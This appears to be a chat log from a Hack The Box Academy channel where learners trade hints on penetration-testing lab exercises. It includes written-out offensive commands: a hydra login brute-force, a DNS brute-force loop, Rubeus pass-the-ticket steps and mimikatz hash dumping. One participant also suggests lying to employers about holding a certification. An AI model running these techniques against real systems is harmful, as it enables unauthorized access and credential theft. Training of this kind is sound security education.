modules

[misty current]

I haven't done part 2 yet

[urban anvil]

can someone help me with Blind Data Exfiltration: Web Attacks

[cursive zinc]

Yes i have done it

[real compass]

How did you overcome the issue if you dont mind me asking?

Im actually going insane with this thing lol

[misty current]

Read the source code properly @real compass

[surreal beacon]

any tips : https://academy.hackthebox.com/module/112/section/1078

?

[misty current]

craft your hydra filter according to your source code, not using the one from examples in the module.

[cursive zinc]

Write to me in private

[real compass]

I dont see the issue with the ones ive used thus far, like what should i omit. All it does is run user against the different password lists and stop after the first successful crack

[real compass]

Done 👍🏼, any help is greatly appreciated:)

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1279 any hint for Q8:
Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

i cannot find a way to privesc

[uneven wyvern]

hey guys I am new here to this server.....by chance can any1 of u guys teach me a few things abt hacking? (friday is my last day of exams so after that I will be free to learn)

[analog dock]

Still didn’t get it to work

[misty current]

then try to get a reverse shell directly instead

[analog dock]

Didn’t work either

Set up a listener but it never connected

[misty current]

can you show me the payload commands

msfvenom right?

[analog dock]

Yes

[misty current]

Yeah, there's a twist to that, when I was doing that module iirc

send me the command

[analog dock]

Ok

[uneven wyvern]

guys?

[summer lava]

Sure.. you can DM

[analog dock]

i dm

[naive field]

im on AD enum and attacks assesment part 2, i've got password for CT059 but i can not connect to it for some reason

can someone dm me so i dont spoil anything here

i used the creds as answers on htb and it worked

but i can not connect to DC01 still

[zinc marsh]

can u help me

i cannot find a way to privesc in the ms01

could u give me a hint

[naive field]

what section?

[zinc marsh]

assessment part 2

like 2 questions behind urs

Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

[lyric bolt]

does anyone have the issue with kali when it comes to using zip2john it hashes it as a $pkzip$ instead of $pkzip2$?

[fathom pendant]

Does it still decrypt ?

[lyric bolt]

it wont decrypt

as a work around i used the pwnbox zip2john

just wondering if anyone knows why the kali zip2john is different?

I prefer using my kali as much as possible so i would like to have a fix for this issue for the future.

[fathom pendant]

i didn't have issues with it ¯_(ツ)_/¯

Is it telling you incorrect hash or is it running through and saying exhausted

[lyric bolt]

exhausted

[sleek epoch]

Anyone who has osint corporate meathod

[fathom pendant]

Then it's possible it's your wordlist not the hash

[sleek epoch]

Gota ask few things

[lyric bolt]

I thought that too

until i used the pwnbox's zip2john then moved that hash over to my kali

[fathom pendant]

Just ask your question

[lyric bolt]

and cracked it with the same list i was getting exhausted on

[fathom pendant]

that's weird ¯_(ツ)_/¯

[lyric bolt]

yeah ill keep researching it

[sleek epoch]

It's actually I wanted to know if the course or module is really good for that one particular topic?

[fathom pendant]

No one else that's using Kali has reported that issue

[lyric bolt]

could me a me issue

as in im doing something dumb

[fathom pendant]

Idk probably

[sleek epoch]

I have another question

[fathom pendant]

You ran it with python 2.7 or 3?

[sleek epoch]

Related to web application pentesting

[fathom pendant]

just ask your question it's annoying just saying you have a question

[lyric bolt]

wasnt using either infront just ran
zip2john ZIP.zip > ZIP.hash

on the pwnbox it makes a hash of $pkzip2$
on the kali it makes a hash of $pkzip$

[fathom pendant]

weird ¯_(ツ)_/¯

[lyric bolt]

yeah for sure

[narrow solar]

hey everyone, i am at Pass the Ticket (PtT) from Linux, i got the LINUX01$ Kerberos ticket file, but i am a little lost, do i have to use windows host to use it or i am supposed to crack it to have the hashes, i tried cracking it but cant crack the hash

[fathom pendant]

You just need to use the cache

And the host you're on

[narrow solar]

it gives this 'kinit: Keytab contains no suitable keys for [e-mail] while getting initial credentials'

[fathom pendant]

Well maybe there's another one

They can expire you know 😉

Perhaps the running service has a directory to look through

[narrow solar]

the hidden one?? but nothing there related to linux01😅

[fathom pendant]

It might not directly say it. Remember, caches exist

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1279

any hint for the Q8, i dont find anyway to get administrator in ms01

[west night]

@acoustic owl Regarding "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" Am I on the right track with this command?
for sub in $(cat /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt);do dig any $sub.internal.inlanefreight.htb @10.129.100.209;done >> tryenum35.txt
When I use the command below:
cat tryenum35.txt | grep 203
I don't find FQDN, just the cookie id values.

Alternatively Am I on the right track with this command?
for sub in $(cat /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt);do dig axfr $sub.internal.inlanefreight.htb @10.129.100.209;done >> tryenum36.txt
in both cases I get a cookie value id that matches 203 but not the ip address. Thanks for your assistance.

[fathom pendant]

It's not going to be there. Try brute forcing against all the subdomains. Internal is already open, so why brute force it?

Also not sure what you're meaning by "cookie value?"

[west night]

COOKIE: d53f0f3067cf57c601000000648750a616cdfee5772034c3 (good)

[fathom pendant]

Try using the DNS tool showcased

[fathom pendant]

Again not sure what you mean (aka you're going down a rabbit hole)

Not sure why you're using cookies

[west night]

that appeared when I grepped the result

[fathom pendant]

That's because it contains 203 in it

But it's not relevant

It's in the last 6 characters. Grep just checks for the match partially in the answer

Try against all subdomains in your base axfr to inlanefreight.htb

Also the brute force tool

They have

It's really good at giving you the answer

[west night]

@fathom pendant Thanks appreciate :). No worries I will bruteforce the inlanefreight.htb domain. Been stuck on this for about two weeks. I Can see the summit 🙂
Did I understand you correctly?

[fathom pendant]

Sort of.
Step 1) identify all subdomains
Step 2) brute force them
Your answer will be in the format a.b.inlanefreight.htb

[silk glade]

Pls can someone help me "Attacking common services - Hard" lab last question?(DM me pls)

[narrow solar]

🥲

[lilac python]

"Edit the php.ini file to block system(), then try to execute PHP Code that uses system. Read the /var/log/apache2/error.log file and fill in the blank: system() has been disabled for ________ reasons. " , anyone can help ?

[fathom pendant]

Look for the service that runs the realm

[thorn urchin]

help with what, did you do the steps

[undone cypress]

I was advised to use Google.
I have not solved it, unfortunately.
But Google gave me a ready answer.

[zinc marsh]

https://academy.hackthebox.com/module/143/section/1279 Q8: Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

someone could give me a hint please i have been stuck here all day

[thorn urchin]

whats there to solve??? you just follow the provider steps

its not a trick question

"do these things. Fill in the blank"

[lilac python]

It is just a word after one day thinking away from the point 🥲

[thorn urchin]

a solid third or more of hacking AD is just pillaging what stuff you have access to already. If one tool doesnt provide the necessary information try another.

[thorn urchin]

huh?

[lilac python]

Security

[thorn urchin]

what

[zinc marsh]

i have his credentials

i also know ||memberof||

[acoustic owl]

if you look at the subdomains, it is logical which one could be a zone.

[zinc marsh]

cant be i had all

just had to open powershell with administrator -.-

[thorn urchin]

sometimes it do be like that

[acoustic owl]

Maybe diffrent version of zip2john?

[zinc marsh]

how are u going with the exam?

u got it?

[thorn urchin]

Nope didnt pass

[zinc marsh]

close to pass at least?

[thorn urchin]

Submitted my incomplete half assed 20 page report though. Gunna work on it while I wait for results though and the next step I can technically work on a little bit without exam access. So ill be ready on the second attempt to jump straight in for next stuff

[thorn urchin]

hard to tell

[zinc marsh]

well u have 1 month to prepare the 2nd attempt

and u know what u need to practice

[thorn urchin]

Really isnt about preparing too much. I just didnt have time

[zinc marsh]

ask for vacations for the exam

[thorn urchin]

Bro Im an american

[misty current]

Hope it was a good experience tho, you'll get it next try

[zinc marsh]

there arent holidays there?

[thorn urchin]

A few, but at most I can take off like a day every couple months

I dont get paid time off

[zinc marsh]

oh

is different in europe then

[thorn urchin]

a week off work for the exam means I cant pay rent

[zinc marsh]

oh i thought u work in IT

[thorn urchin]

I do

[zinc marsh]

lol

i thought americans had crazy salaries in IT

[thorn urchin]

Depends on the job

my little corner slice of it is notoriously underpaid

junior pentester role will be almost double my current pay

getting a bit too offtopic though

[zinc marsh]

apply to jobs without the cpts

they will interview

[thorn urchin]

they have not

ill be fine I have a plan

[misty current]

[zinc marsh]

tell u have the oscp

they wont ask to show the title

[thorn urchin]

no thanks

[zinc marsh]

well good luck for the next attempt 🙂

[rustic sage]

hahahahahahahhahahaha

i did that tho, worked out good

[zinc marsh]

it always work they just care if u are able to do the work or not

[rustic sage]

the thing is with me, i do have the knowlegde to work with, but i dont have my diplomats

i am a self learnd in pentesting, if you know how to pentest, mind hack your boss

Hey guys I wanna be hacker

I need to learn computer basics

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

👀

Bro is funny

indeed

So u don't tolerate hackers?

am one myself

I want to be one too

I can make money from this and it sounds cool asf

just start with the hack the box academy

and choose the penetrationtester course

penetration testing is a nicer word for hacker

How long is gonna take until I can offer my services to people

there isnt a time line

you need to do this everyday

and never stop learning

Bet ur doing this gorillon years

the important of all, you have to understand what you are doing, and what the cause can be on one of your decisions

[rustic sage]

4 years now

and still learning everyday

How it all started for u bud

My English is still shit

cant say

whehere you from?

Bulgaria

far af

The fucking balkans

So idk a thing abt computers and tech

Do I have to read books

no

Fuck yeah

but you have to read alot for the theory

in htb example

[zinc marsh]

maybe never

maybe some day

all depends on ur discipline

[supple patio]

Hi guys! Module: Attacking Common Services, Easy lab. Can't access the webshell idk why

[misty current]

understand the payload you've written for webshell.php.

[supple patio]

my head is going to burn now

)

[misty current]

The hint is, you are accessing your webshell. How does you code execute command

Where does it expect the parameters to be fed.

[arctic pelican]

@wild dragon need some help

[supple patio]

well

no idea

🥲

[misty current]

Learn more about how user data is passed through a GET request in HTTP.

[supple patio]

kk

[supple patio]

got a shell, ty)

[arctic pelican]

Hi everyone i am stuck in Skills Assessment for Broken Authentication i think i have the account and i try all possible combination but same problem any hint " cant have requested role "

[sweet lava]

Hi, I'm stuck in Password Attacks- Pass the Ticket from Windows. I have done the first and second exercises, finding the number of users TGT and using john's tgt to perform a PTT attack via PS remoting. However, I can't find the second flag. The second question asks "Use John's TGT to perform a PTT attack and retrieve the flag from the shared folder. The only flag I see in the shared folder \DC01.inlanefreight.htb\john, the ||john.txt|| flag, but that is the answer to the third question and doesn't answer the 2nd question

[opal storm]

wow getting this password in the security assessment has me wanting to run my nails down a chalkboard lol, did anyone else find a way that didnt require port forwarding? i am able to remote into the machine but no commands get executed

[pine dagger]

You need to provide more context 🙂

[supple patio]

check out the spaces

[opal storm]

is this for me?

[pine dagger]

Yus 😄

I guess I didn't provide enough context! 😄

[opal storm]

lol thats a good one

but im struggling with the first part of the security assessment in the active directory enumeration and attacks module, we need to get the password of the second user and i cant seem to find a way to do so

[pine dagger]

You mean the Skill Assessment? And Skill Asessment I? Which question?

[opal storm]

yes sorry

[eternal zealot]

Hi! I am very stuck on the lab password attacks medium. I can access to ssh with a user, and i get the doc with the documentation. I know that mysql is in localhost but i cant connect to it. Someone can give me a hint please?

Thanks so much!!

[opal storm]

its like question 6 asking for the users cleartext pw

[supple patio]

Can you show the commands how were you trying to connect the mysql?

[eternal zealot]

"mysql -u root -p" but i tried a lot of commands. I try to connect with the user j* but i cant

I am looking for config files but i dont know if i am in the right way

[pine dagger]

As I said yesterday, from my notes... I used ||mimikatz||. The trick is that you have ||to get it onto the machine and then run it.|| If you're in a shell then you'll need to figure out some way of ||executing it with appropriate credentials||.

[supple patio]

Try to look up the stuff about mysql from footprinting

That helped me a lot

[eternal zealot]

Okey! I will continue looking for it. Thanks so much for your time!

[supple patio]

Feel free to dm

[eternal zealot]

Thanks so much! It is night here now. Tomorrow I will continue testing. Thank you for offering your help. If I can't find it, I'll ask you for a hint

[opal storm]

yes i understand that part. ive been able to access the machine from the first box but executing commands does not seem to work nor does getting the tool over

[supple patio]

Gl

[eternal zealot]

Thanks!! Same to you and to all

[pine dagger]

I was able to upload via the ||meterpreter shell|| I established in the first question, and then ||invoke remote commands against the target machine||.

[opal storm]

thats what ive been doing... but no luck running the tools against the target/second machine 😦

[pine dagger]

Try checking out the ||Invoke-Command function||.

[opal storm]

thats what ive been using 🙂 ive even changed groups for the user on the initial machine and still had no luck idk

[pine dagger]

Welp, I know the creds from the previous question work for it 🙂

[opal storm]

ive been using them to access the second machine

[steady hawk]

What worked for me was RDP after port forwarding

[zinc marsh]

yo how is it going

[opal storm]

i tried win-rm for port forwarding and that errored out, ill try rdp

[zinc marsh]

where are u

[opal storm]

what do you mean

[zinc marsh]

what module

[opal storm]

active directory enumeration and attacks - skills assessment p1 - q6

the same one ive been stuck on lol

[zinc marsh]

password for ||tpetty||?

[opal storm]

thats what im trying to get still yes

[zinc marsh]

what do u have

[opal storm]

creds for the first user we need to obtain and access to the second machine

[red current]

Has anyone here made it through the Attacking Splunk section in Attacking Common Applications? I've tried following the lesson step by step, but there appears to be some missing info. Like where are certain scripts supposed to go? I've tried various combinations but every time I get the same error when I try to create the tarball. It gives me an error of directory or file not found.

It would help if there were more details in the section about how to modify the reverse_shell_splunk application and whether or not to leave the files there as they are or remove all the files and start from scratch. It seems to want you to do both wich is very confusing.

[zinc marsh]

dont u have the creds for ||svc_sql||?

[opal storm]

yes

[zinc marsh]

did u used them?

[opal storm]

yes lol i can execute some commands on the second machine as that user

but i cant execute what we need in order to answer the question

nor can i get the right tools over

[red current]

Okay, I got the tarball to finally upload on the site but after doing so, I get no response on my listener. Has anyone else had this issue with the Attacking Splunk section? I have the shell pointing back to my VM with the correct IP and port number, but I get nothing back on my listener.

I'm really not sure what I'm doing wrong because the lesson is a bit ambiguous as to where the different scripts are supposed to go and how to edit the bin and default folders properly.

[arctic pelican]

@red current
Hi i am stuck in Skills Assessment for Broken Authentication i think i have the account and i try all possible combination but same problem any hint " cant have requested role " need some help

[red current]

Sorry, I haven't done that module yet. I don't think it's even in the CPTS path that I'm on.

[arctic pelican]

@red current it's okah thanks

[opal storm]

wow, i finally got in

https://blog.mkiesel.ch/posts/oscp_pivoting/ this article just saved me lol

but mimikatz doesnt like to behave lol through my session

[pine dagger]

Oh, were you trying to run it from the local machine?

the first one that is

[opal storm]

i was never able to get anything onto the second machine to get the password

sorry if im wording it poorly, im trying not to give away anything

[pine dagger]

Heh, its hard to explain thing and not put the answers in the channel 😄

[real compass]

Hey has anyone solved the second part of Skills Assessment Website on Login Brute Forcing as ive tried everything and still getting nowhere

[pine dagger]

But you can upload files to the other machines using ||Invoke-Command||. You just need to send something that makes that machine download the file.

[opal storm]

i was never able to and couldnt find any way to get files to the machine

i tried so many different ways lol

[red current]

Okay, I started from scratch and reset the instance. I'm still running into the same issue with this section on Attacking Splunk. Does anyone know what I might be doing wrong here?

[real compass]

Has anyone completed this?

[red current]

Yes, I've gotten past it. What's the question?

[real compass]

Im just not sure what im doing wrong ive spent literally hours upon hours on it so far, I cracked the first bit and am on the admin portal now. Ive reused the username as stated in the hint and run it against rockyou for like an hour straight and it has accomplished nothing, nor has better default credentials i even tried a customised password list for the name "user" and its still done nothing.

[red current]

You need to first try using the developer tools or Burp to get the password strings to get your parameters. That's how you need to start this second part. I hope that helps.

[real compass]

http-post-form “/admin_login.php:user=^USER^&pass=^PASS^:F=<form name=’log-in’” I got this ending bit and i thought this was correct

cos i used inspect to get the form name and etc so like i customised it to what it should be i believ

[red current]

brb I'm having something to eat real quick.

[real compass]

ah okay all good mate

[hard dew]

anyone familiar with Java Script able to help me out with JavaScript Deobfuscation module

[real compass]

I tried using burpsuite and i cant see any alterations i should make as the information provided was identical to that found in my html inspection

[hard dew]

I'm pretty sure I found the flag in but posting to http://ip/keys.php but when I enter the flag it errors

[red current]

You have to get the details of the admin panel using Burp or the developer tools.

[real compass]

Yeah ive done that tho which is how i ended up with this ending

like with form name and the url ending and etc

[red current]

Okay, so it sounds like you have everything you need to set up your attack using hydra.

[real compass]

Okay, this is what i just ran
[ hydra -l user -P /opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -f -s 32607 178.62.18.68 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^:F=<form name='log-in'"]

ran this last night:
hydra -l user -P /opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt -u -f 165.232.102.252 -s 31517 http-post-form "/admin_login.php:name=user&password=^PASS^:F=<form name='log-in'"

[red current]

Try using rockyou.txt instead.

[real compass]

^

[red current]

Okay, that looks right to me. That should work.

[real compass]

It doesnt tho, it just runs indefinetly

i let it run for an hour yesterday and it turned no result

[red current]

Try using -t 4 to speed things up a bit.

[real compass]

yeah alright tysm ill keep you posted

[red current]

👍

[hard dew]

anyone able to assist me with deobfuscating javascript?

curl -s http://165.232.102.252:31339/keys.php -X POST -d "Param1=Sample" | xxd -p -r

^ this gives me a thing but not the traditional HTB{flag_goes_here}

also I was able to run the obfuscated xxx.js and get the code to run and give me the flag but it wont accept it

[real compass]

how long should i let it run for? its been going for the last 10 min and turned nothing

[hard dew]

^ thats where i'm entering the flag from running the obfuscated js but it errors

[red current]

It shouldn't take more than 5 or so.

[real compass]

yeah its been going for like 20 now

Any Idea what i should do cos nothing seems to be working

[real compass]

Bram?

[red current]

Go ahead and DM me. I'll give you a hand with it.

[real compass]

Alrighty thanks

[lyric bolt]

would that require me to uninstall john and reinstall it on the kali?

[calm fulcrum]

Hey fokes,
I have a kdbx file of version 4. John or hashcat doesn't support extraction of hashes. Any suggestions?

[hard dew]

have you tried keepass2john

[calm fulcrum]

Yep. It says it doesn't support version 4

[hard dew]

what about a keepass brute force script

looks like you can use keepass-cli to bruteforce the kdbx

https://github.com/r3nt0n/keepass4brute this might work

[calm fulcrum]

Well looks like just the resource I needed. I'll give it a shot. Thankyou

[hard dew]

No prob

[wild dragon]

@arctic pelican hi friend, I sent you the guide for the SA of Broken Authentication module!
If you have any question, just text me!

[acoustic owl]

If they are different versions and you need the same version, then you will have to install this version

[rapid sparrow]

You are targeting the inlanefreight.htb domain. Assess the target server and obtain the contents of the flag.txt file. Submit it as the answer.

Attacking Common Services - Easy ATTACKING COMMON SERVICES

Stuck with this

I am not sure how to crack the passwords, and I got this username

[autumn pilot]

focus on another service, e.g. the one you found the username

but there is a twist that you must not forget when attacking it

[harsh patrol]

What is the correct answer to the question "Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x)"? I tried all possibilities imo, but nothing works...

[autumn pilot]

from which section and module is that

[misty current]

I think it's from the Pivoting module

[rustic sage]

Hello, im in Password atack module Pass the ticket from windows i'm in the first activity and im trying to connect to rdp using this xfreerdp /u:Administrator /p:AnotherC0mpl3xP4$$ /v:10.129.214.47 but i have error, this are the credentials provided in the exercise, somebody know why is happen?

[autumn pilot]

put the password in single quotes

[rustic sage]

works!

[analog dock]

Frustrating module that is

I don’t like the wait lol

I’m at the password mutations now

[autumn pilot]

filter the wordlist to have only words starting with b/B

[analog dock]

Got it

Was already at the b’s

Was like a 15-20 min wait just to finish that part lol

[harsh patrol]

@slender shoal wanna DM regarding Attacking common services - hard? mybe i can give you some pointers

[harsh patrol]

/module/158/section/1428 => Pivoting...

[fiery berry]

dm you if you still need help

[autumn pilot]

you can get the answer in two ways

one is literally somewhere in the section and the other is to replicate the things in the section

[harsh patrol]

I did, but the autoroute output seems to be wrong...

[sleek urchin]

I have finished Windows Privilege Escalation module expect for DnsAdmins section, despite I got to add my user to Domain Admins group I still have no access to the flag file. Neither have access to registry key. Do you have access to the flag file while for the registry key the permission is denied.

any help is well appreciated

[autumn pilot]

have you logged out and logged back in?

[sleek urchin]

yes I did, used gpupdate /force as well

but i only have disconnect from xfrerpd, no logout option

[autumn pilot]

use the windows one

e.g. once you have the rdp session -> windows button -> sign out

[sleek urchin]

just did it but with different approach, there is a shortcut ctrl + alt + delete for command options since even your method only shows me Disconnect option

[sleek urchin]

thanks a lot

[harsh patrol]

If you want Ctrl+Alt+Delete in RDP Session, you can use Ctrl+Alt+End

on Windows to Windows RDP, this gets executed on the remote host

[narrow solar]

hey everyone, i just want to ask is it possible to transfer files through port forwarding?? i tried it with scp but didnt work

"scp -P 2222 linikatz.sh [e-mail]@10.129.43.168:/home/[e-mail]"

[acoustic owl]

A port forwarding simply forwards every packet sent to the corresponding port to the defined machine.

Example:
10.10.10.10:1234 -> 172.16.1.10:22
Any packet you send to machine 10.10.10.10 on port 1234 will then be automatically forwarded to machine 172.16.1.10 on port 22.

[narrow solar]

yes i get it, the pivot host at my example is configed to forward p 2222 to target 22 but scp doesnt work, it gives 'Permission denied, please try again' although ssh works fine

[autumn pilot]

you can try with using a simple method, setting up an http server on your machine and downloading the file you want on the target

since you can SSH into the 10.129.x.x subnet it means that you can communicate with it and vice versa

[narrow solar]

i think i tried it too and didnt work, let me try it again

[harsh patrol]

or use nc and cat to send and receive files over a custom port

[narrow solar]

sorry but there's something i dont understand, so i made a reverse connection with Chisel to my attack host on port 8080, and i want to start a http server to upload a file from the victim to attack host, should i start it at what port exactly?? i tried uploading the file at port 8080 but it wont work

[autumn pilot]

a port that is from your choosing

as long as you can reach your attack machine to the target you are ok

it has nothing to do with port forwarding and etc

[narrow solar]

so i can use my attack host ip at the victim host upload??

[autumn pilot]

try and you will see

[narrow solar]

thanks a lot 😅 😂 i just get it, didnt know i can now directly connect to it

realy appreciate your time 🥰

😂 hope you some good time at it

I hope you to have good time at pivoting

[harsh patrol]

for all those struggling with pivoting: draw a network map on a piece of paper!

if you're not used to it or not into networking, it helps to get your head around it

😉

[hollow totem]

stuck on bypassing filter on Topology machine , anyone can help me get pass this

upp @everyone

[acoustic owl]

#1117149690249617408

if you have no access, read #welcome and #rules

[sacred ermine]

sup guys, any help in Documentation & Reporting skills assessment, I do not know where to move, I am stuck at first question, would appreciate if somn give me some direction on it, thanks

[acoustic owl]

On the host you will find notes. Take a close look at them. What could you do with all this information?

[sacred ermine]

like i cannot proccess that info, just stuck I am trying to perform attacks such as pth, but nothing works neither smb listing

[acoustic owl]

Look at this Informations
|| Inlanefreight Penetration Test > Evidence > Notes > 6. Credentials ||

With this you should get further

[sacred ermine]

thanks a lot

[rustic sage]

some Cybersecurity training vendors limit how many times Metasploit can be used on lab exams. Here at Hack The Box, we encourage experimenting with tools in our lab environments until you have a solid foundational understanding.

HTB casually burning OffSec

Hello, im trying to do zip2john im using this zip2john Notes.zip > notes.hash and then im trying to crack it using this john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt notes.hash but i dont have result, somebody can help? I have this ded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:00 DONE (2023-06-13 15:49) 0g/s 18625Kp/s 18625Kc/s 18625KC/s !joley08!..*7¡Vamos! Session completed

[autumn pilot]

use a different wordlist

you have already created one from a previous section

[rustic sage]

thanks

cryolite modules are too hard and i waste a loot of time

isnt better spend 4 hours with a password is stupid

you learn nothing

[acoustic owl]

You learn that it's important to find the right list.
rockyou is not a miracle cure all

[quick cloud]

yeah true that haha im hitting 5 hours with password attack hard

that its important to find right list

[heady geyser]

having trouble with the final question in Web Server Pivoting with Rpivot. i'm able to get a verified connection between my attack host and pivot host. i then use the proxychains firefox command but the website just hangs. i figured i would try it with pwnbox as well but the same issue happens. i was thinking about using the NTLM authentication command but i dont know what the ip of <ip address of proxy> would be. could use a nudge. thanks

[rustic sage]

Thanks man. This section is absolutely horrible. The article on Medium describes is way better.

[heady tusk]

no need to NTLM authentication. make sure you close down firefox before running it through proxychains. won't work otherwise

[heady geyser]

hmmm, i never had it open to begin with. i'll try again. thanks

[heady tusk]

if you can't get it to work, feel free to dm. I can take a closer look

[kind fern]

I need a hint for Attacking Common Services - Hard, the question is "What file can you retrieve that belongs to the user "simon"? (Format: filename.txt)"

[high hearth]

I'm new here on this platform. The "find" command may be of help

[heady tusk]

you do have his creds, right?

[kind fern]

yes

[heady tusk]

go through the available services, think about where you could find files and grab them from there

[kind fern]

I try a lot of way like smbmap but I do not get anything!

[heady tusk]

all you need is smbclient

[kind fern]

Thanks ❤️

[plain sleet]

anyone did the advanced SQL injections skill assessment? have managed to get the unauth sqli but i have some issues with getting the login

[sacred ermine]

@acoustic owl

sorry for bothering you, but digging after an hour I even got nothing, I actually got the password for administrator in smb shares, but it is not working

[acoustic owl]

Try to use the password in the notes to get more credentials

[kind fern]

Bro what should I do here "Submit the contents of the flag.txt file on the Administrator Desktop."

[sacred ermine]

which module?

[kind fern]

Attacking Common Services - Hard

[sacred ermine]

should I exploit smh zzz_archive?

[heady tusk]

the path to that is a bit more complicated. go through what you've learned and see if anything can help you get administrative access

[sacred ermine]

get admin privilege with the user you found

[foggy light]

Module: Kerberos Attacks
Section: Unconstrained Delegation - Computers
Question: Compromise the Domain and read the content of \DC01\C$\Unconstrained\flag.txt
I used printer bug to get TGT and then used mimikatz to dump ntlm hash of brian.willis. But I cant access c$

[acoustic owl]

No, you first need to find more user credentials

[acoustic owl]

After you have requested the ticket, you need to renew it again

[modern falcon]

Module: Pivoting, Tunneling, and port forwarding
Section: web server pivoting with rpivot
I need help with the last question. I have run server.py on the attack host, and run the client.py on the pivot host, but i still cannot connect to 172 16.5 135 via proxychains

[heady tusk]

did you have firefox open while attempting to run it through proxychains?

[modern falcon]

Yes, i run proxychains firefox-esp 172.16.5.135:80. Firefox opens but cannot load the page

[heady tusk]

if firefox is open when you run that command, it won't work. close down firefox, then try again

[modern falcon]

I see. Thanks a lot

[foggy light]

I did the following

1. started Rubeus and used spoolsample to request dc01$ tgt
2. the .\Rubeus.exe renew /ticket:doIF...... /ptt
3. Mimikatz to dump brian.willis ntlm hash
4. .\Rubeus.exe asktgt /rc4:888...... /user:brian.willis /ptt

not sure what im missing but getting error

[plain sleet]

did you managed to resolve this?

[acoustic owl]

5. .\Rubeus.exe renew /ticket:doI……… /ptt

[left pond]

can someone help me with windows fundamentals? i cant access any smb share, i just get timeout, rechecked the vm on site and vpn everything is up
i also checked smbclient on my vm and it works perfectly

ok imma reset the target, maybe it will help

[pine dagger]

Yep.

[plain sleet]

can i dm you for this?

[left pond]

nah its not

[pine dagger]

In about 30 minutes once the painkillers and caffiene kick in. But in meantime, make sure you don't use JD-GUI. Use fernflower. JD-GUI screws up the decompilation.

[plain sleet]

let me try fernflower 🙂 i used jdgui for that

[pine dagger]

If you're at the stage I think you are, you should spot the difference immediately between the two sets of decompiled code.

[sacred ermine]

@acoustic owl I really run out of ideas, PowerView works neither, I cannot even read desription fields like idk

[plain sleet]

i saw the difference, but the email is of length 15 and password is empty and i still didn't get the right key

[pine dagger]

Password isn't empty. Its a 60 char bcrypt hash.

[sacred ermine]

anyone can help with skills assessment? I stuck on the first question

[foggy light]

haha.. this module channel is warroom I swear. Massive respect for the community people who are helping everyone pretty much for free

[pine dagger]

The AD Enumeration module is particularly a brutal module

Its one of the modules that everyone seems to get stuck on, and since its a T2 module, its more accessible than some of the comparably hard ones, such as Adv. SQl injection, HTTP attacks, etc.

[plain sleet]

This is the password column of the user table right?

[pine dagger]

It is... but you're probably hitting the other issue that I hit. 🙂

The ||black list filtering works on pieces of words, not just whole words. Look at the filter for a word that might be inside the word password|| 🙂

[misty current]

So, on completing the skill assessment 2 for Windows PE. I PE'd the machine and I added my user to the local administrators group. I ran mimikatz to dump the system sam/lsa but I couldn't (I even tried again after loggin out and in). But, I ran it smooth in the Administrator account which dumped me the sam.

does it got to do with the UACs?

[oblique bridge]

hi

[unique coral]

Hi, anyone faced credentials issue while RDP to the target machine?

wrong credentials, which were already mentioned in the wuestions part of the module

[heady tusk]

which command did you use?

[blazing onyx]

Hey all, can't connect to starting point machine, anyone else have a similar issue?

[unique coral]

simple rdp into windows machine from windows

[autumn pilot]

try putting the password in single quotes

[unique coral]

in LLMNR/NBT-NS Poisoning - from Windows module

[unique coral]

already tried, but same wrong credentials man

[heady tusk]

#starting-point is your best bet to find someone who can help you

[blazing onyx]

ty!

it says I dont have access to that?

[heady tusk]

then read #welcome and #rules first

[blazing onyx]

ty

[heady tusk]

np 🙂

[blazing onyx]

what was the channel u originally linked that I should go to?

sorry I can't see it

[autumn pilot]

what syntax are you using

[heady tusk]

#starting-point

[blazing onyx]

ty!

[unique coral]

normally RDP from windows machine to a target windows machine

[autumn pilot]

well, unless you provide the command (syntax) we can't help you much

[unique coral]

no worries man, even I am unable to upload the image here

[autumn pilot]

you can copy and paste the command

[unique coral]

man, in windows gui is there for RDP

[autumn pilot]

to upload an image you will have to verify your account #welcome and #rules , but you need to have an account on https://hackthebox.com

[misty current]

can you type the username alone here

mask it, if it's sensitive.

[misty current]

username which you're entering into the RDP client

[misty current]

alright, what error do you get when you RDP?

wrong credentials?

[unique coral]

yes

[autumn pilot]

you can use xfreerdp through teh workstation

[unique coral]

anyone faced this issue before?

[autumn pilot]

not sure why you are trying to use your main pc to connect?

[unique coral]

earlier machines worked fine, only this one is giving me error

[misty current]

I believe xfreerdp automatically does the domain prepend for you, try the username with DOMAIN\username

[unique coral]

this module

[autumn pilot]

addiotionally, it is not recommended to use your main pc with the vpn

[unique coral]

yes but username is htb-student only

submitted a ticket to the htb academy support, waiting for them to respond

[misty current]

INLANEFREIGHT\htb-student did you try this?

[autumn pilot]

use the provided workstation or a vm

the credentials are working, I've just tested

[unique coral]

thanks man, now it works

with this INLANEFREIGHT\htb-student username

[misty current]

it's a domain user, so you need to prepend the domain name or it'll consider it as local login (This is for the windows RDP client)
When you do it through xfreerdp, it automatically does it for you

[unique coral]

ohhky, got it, thanks man

@autumn pilot man, so would I use linux vm or the vm which is there on htb academy?

which one is recommended?

[autumn pilot]

whichever makes you more comfortable

[unique coral]

local vm would be fine then, thanks man @autumn pilot

[naive field]

hi i've got a machine "error" to say, can i dm a moderator please? thanks.

its supposed to work but its not working 🤷‍♂️ :/

i alr texted people that have done it and they said it should work

im trying to use powerview function but its not working, i import powerview

imported*

[rustic sage]

hello

[rustic sage]

is introduction to network module is enough or i should take CCNA or N+ to understand the network terminolgies which was in labs and pentester job path?

[timber ore]

I am in the AD Enumeration & Attacks - Skills Assessment Part I

Last question of the assessment

"Take over the domain and submit the contents of the flag.txt file on the Administrator Desktop on DC01"

I got the clear text creds of|| t*|| my proxychain command fails.

DC IP : 172.16.6.3 (DC01)
